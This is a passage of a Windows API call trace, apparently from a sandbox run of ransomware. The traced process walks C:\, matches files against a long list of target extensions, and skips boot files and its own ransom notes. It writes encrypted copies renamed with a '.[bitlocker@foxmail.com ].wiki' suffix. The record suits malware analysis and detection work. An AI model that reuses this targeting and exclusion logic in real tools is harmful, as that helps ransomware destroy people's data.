lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.014] lstrlenW (lpString=".rar") returned 4 [0200.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString=".bz2") returned 4 [0200.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString=".7z") returned 3 [0200.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString=".dbf") returned 4 [0200.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString=".1cd") returned 4 [0200.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString=".jpg") returned 4 [0200.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.014] lstrlenW (lpString=".doc") returned 4 [0200.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.014] lstrlenW (lpString=".docx") returned 5 [0200.015] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0200.015] lstrlenW (lpString=".pdf") returned 4 [0200.015] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.015] lstrlenW (lpString=".xls") returned 4 [0200.015] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.016] lstrlenW (lpString=".xlsx") returned 5 [0200.016] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0200.016] lstrlenW (lpString=".ppt") returned 4 [0200.016] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.016] lstrlenW (lpString=".zip") returned 4 [0200.016] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.016] lstrlenW (lpString=".rar") returned 4 [0200.016] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.016] lstrlenW (lpString=".bz2") returned 4 [0200.016] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.016] lstrlenW (lpString=".7z") returned 3 [0200.016] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.016] lstrlenW (lpString=".dbf") returned 4 [0200.016] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.016] lstrlenW (lpString=".1cd") returned 4 [0200.016] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0200.016] lstrlenW (lpString=".jpg") returned 4 [0200.016] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.016] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0200.016] lstrlenW (lpString="J0195260.WMF") returned 12 [0200.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.017] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8314) returned 1 [0200.017] CloseHandle (hObject=0x1cc) returned 1 [0200.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf")) returned 0x20 [0200.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0200.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0200.017] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.017] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0200.018] GetLastError () returned 0x0 [0200.018] ReadFile (hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0) Thread: id = 409 os_tid = 0x634 [0182.584] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c20268 [0182.585] lstrlenW (lpString="C:") returned 2 [0182.585] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x328fd00 | out: lpFindFileData=0x328fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x62c9e8 [0182.585] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0182.585] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0182.585] lstrlenW (lpString="$Recycle.Bin") returned 12 [0182.585] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0182.585] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c30270 [0182.585] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0182.585] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x328fa84 | out: lpFindFileData=0x328fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63b2a8 [0182.586] FindNextFileW (in: hFindFile=0x63b2a8, lpFindFileData=0x328fa84 | out: lpFindFileData=0x328fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.586] FindNextFileW (in: hFindFile=0x63b2a8, lpFindFileData=0x328fa84 | out: lpFindFileData=0x328fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0182.586] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0182.586] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0182.586] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0182.586] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0182.586] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c41280 [0182.586] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0182.586] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x328f808 | out: lpFindFileData=0x328f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63b2e8 [0182.586] FindNextFileW (in: hFindFile=0x63b2e8, lpFindFileData=0x328f808 | out: lpFindFileData=0x328f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.586] FindNextFileW (in: hFindFile=0x63b2e8, lpFindFileData=0x328f808 | out: lpFindFileData=0x328f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc97745a0, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0182.586] lstrlenW (lpString="desktop.ini") returned 11 [0182.586] lstrlenW (lpString=".1cd") returned 4 [0182.586] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".3ds") returned 4 [0182.587] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".3fr") returned 4 [0182.587] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".3g2") returned 4 [0182.587] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".3gp") returned 4 [0182.587] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".7z") returned 3 [0182.587] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0182.587] lstrlenW (lpString=".accda") returned 6 [0182.587] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".accdb") returned 6 [0182.587] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".accdc") returned 6 [0182.587] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".accde") returned 6 [0182.587] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".accdt") returned 6 [0182.587] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".accdw") returned 6 [0182.587] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0182.587] lstrlenW (lpString=".adb") returned 4 [0182.587] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".adp") returned 4 [0182.587] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".ai") returned 3 [0182.587] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0182.587] lstrlenW (lpString=".ai3") returned 4 [0182.587] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".ai4") returned 4 [0182.587] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0182.587] lstrlenW (lpString=".ai5") returned 4 [0182.588] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".ai6") returned 4 [0182.588] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".ai7") returned 4 [0182.588] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".ai8") returned 4 [0182.588] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".anim") returned 5 [0182.588] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0182.588] lstrlenW (lpString=".arw") returned 4 [0182.588] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".as") returned 3 [0182.588] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0182.588] lstrlenW (lpString=".asa") returned 4 [0182.588] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".asc") returned 4 [0182.588] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".ascx") returned 5 [0182.588] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0182.588] lstrlenW (lpString=".asm") returned 4 [0182.588] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".asmx") returned 5 [0182.588] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0182.588] lstrlenW (lpString=".asp") returned 4 [0182.588] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".aspx") returned 5 [0182.588] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0182.588] lstrlenW (lpString=".asr") returned 4 [0182.588] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".asx") returned 4 [0182.588] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".avi") returned 4 [0182.588] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0182.588] lstrlenW (lpString=".avs") returned 4 [0182.589] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".backup") returned 7 [0182.589] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0182.589] lstrlenW (lpString=".bak") returned 4 [0182.589] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".bay") returned 4 [0182.589] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".bd") returned 3 [0182.589] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0182.589] lstrlenW (lpString=".bin") returned 4 [0182.589] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".bmp") returned 4 [0182.589] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".bz2") returned 4 [0182.589] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".c") returned 2 [0182.589] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0182.589] lstrlenW (lpString=".cdr") returned 4 [0182.589] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".cer") returned 4 [0182.589] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".cf") returned 3 [0182.589] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0182.589] lstrlenW (lpString=".cfc") returned 4 [0182.589] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".cfm") returned 4 [0182.589] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".cfml") returned 5 [0182.589] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0182.589] lstrlenW (lpString=".cfu") returned 4 [0182.589] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0182.589] lstrlenW (lpString=".chm") returned 4 [0182.589] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".cin") returned 4 [0182.590] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".class") returned 6 [0182.590] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0182.590] lstrlenW (lpString=".clx") returned 4 [0182.590] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".config") returned 7 [0182.590] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0182.590] lstrlenW (lpString=".cpp") returned 4 [0182.590] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".cr2") returned 4 [0182.590] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".crt") returned 4 [0182.590] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".crw") returned 4 [0182.590] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".cs") returned 3 [0182.590] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0182.590] lstrlenW (lpString=".css") returned 4 [0182.590] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".csv") returned 4 [0182.590] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".cub") returned 4 [0182.590] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".dae") returned 4 [0182.590] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".dat") returned 4 [0182.590] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".db") returned 3 [0182.590] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0182.590] lstrlenW (lpString=".dbf") returned 4 [0182.590] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0182.590] lstrlenW (lpString=".dbx") returned 4 [0182.590] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dc3") returned 4 [0182.591] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dcm") returned 4 [0182.591] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dcr") returned 4 [0182.591] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".der") returned 4 [0182.591] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dib") returned 4 [0182.591] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dic") returned 4 [0182.591] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dif") returned 4 [0182.591] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".divx") returned 5 [0182.591] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".djvu") returned 5 [0182.591] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".dng") returned 4 [0182.591] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".doc") returned 4 [0182.591] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".docm") returned 5 [0182.591] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".docx") returned 5 [0182.591] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".dot") returned 4 [0182.591] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0182.591] lstrlenW (lpString=".dotm") returned 5 [0182.591] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".dotx") returned 5 [0182.591] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0182.591] lstrlenW (lpString=".dpx") returned 4 [0182.591] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dqy") returned 4 [0182.592] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dsn") returned 4 [0182.592] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dt") returned 3 [0182.592] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0182.592] lstrlenW (lpString=".dtd") returned 4 [0182.592] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dwg") returned 4 [0182.592] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dwt") returned 4 [0182.592] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".dx") returned 3 [0182.592] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0182.592] lstrlenW (lpString=".dxf") returned 4 [0182.592] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".edml") returned 5 [0182.592] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0182.592] lstrlenW (lpString=".efd") returned 4 [0182.592] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".elf") returned 4 [0182.592] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".emf") returned 4 [0182.592] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".emz") returned 4 [0182.592] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".epf") returned 4 [0182.592] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".eps") returned 4 [0182.592] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0182.592] lstrlenW (lpString=".epsf") returned 5 [0182.592] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0182.592] lstrlenW (lpString=".epsp") returned 5 [0182.592] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0182.593] lstrlenW (lpString=".erf") returned 4 [0182.593] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".exr") returned 4 [0182.593] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".f4v") returned 4 [0182.593] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".fido") returned 5 [0182.593] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0182.593] lstrlenW (lpString=".flm") returned 4 [0182.593] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".flv") returned 4 [0182.593] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".frm") returned 4 [0182.593] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".fxg") returned 4 [0182.593] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".geo") returned 4 [0182.593] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".gif") returned 4 [0182.593] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".grs") returned 4 [0182.593] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".gz") returned 3 [0182.593] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0182.593] lstrlenW (lpString=".h") returned 2 [0182.593] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0182.593] lstrlenW (lpString=".hdr") returned 4 [0182.593] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".hpp") returned 4 [0182.593] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".hta") returned 4 [0182.593] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0182.593] lstrlenW (lpString=".htc") returned 4 [0182.594] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".htm") returned 4 [0182.594] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".html") returned 5 [0182.594] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0182.594] lstrlenW (lpString=".icb") returned 4 [0182.594] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".ics") returned 4 [0182.594] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".iff") returned 4 [0182.594] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".inc") returned 4 [0182.594] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0182.594] lstrlenW (lpString=".indd") returned 5 [0182.594] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0182.594] lstrlenW (lpString=".ini") returned 4 [0182.594] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0182.594] lstrlenW (lpString="desktop.ini") returned 11 [0182.594] lstrlenW (lpString=".wiki") returned 5 [0182.594] lstrcmpiW (lpString1=".wiki", lpString2="p.ini") returned -1 [0182.594] lstrlenW (lpString="desktop.ini") returned 11 [0182.594] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0182.594] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0182.594] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0182.594] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0182.594] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0182.594] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0182.594] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0182.594] lstrcmpiW 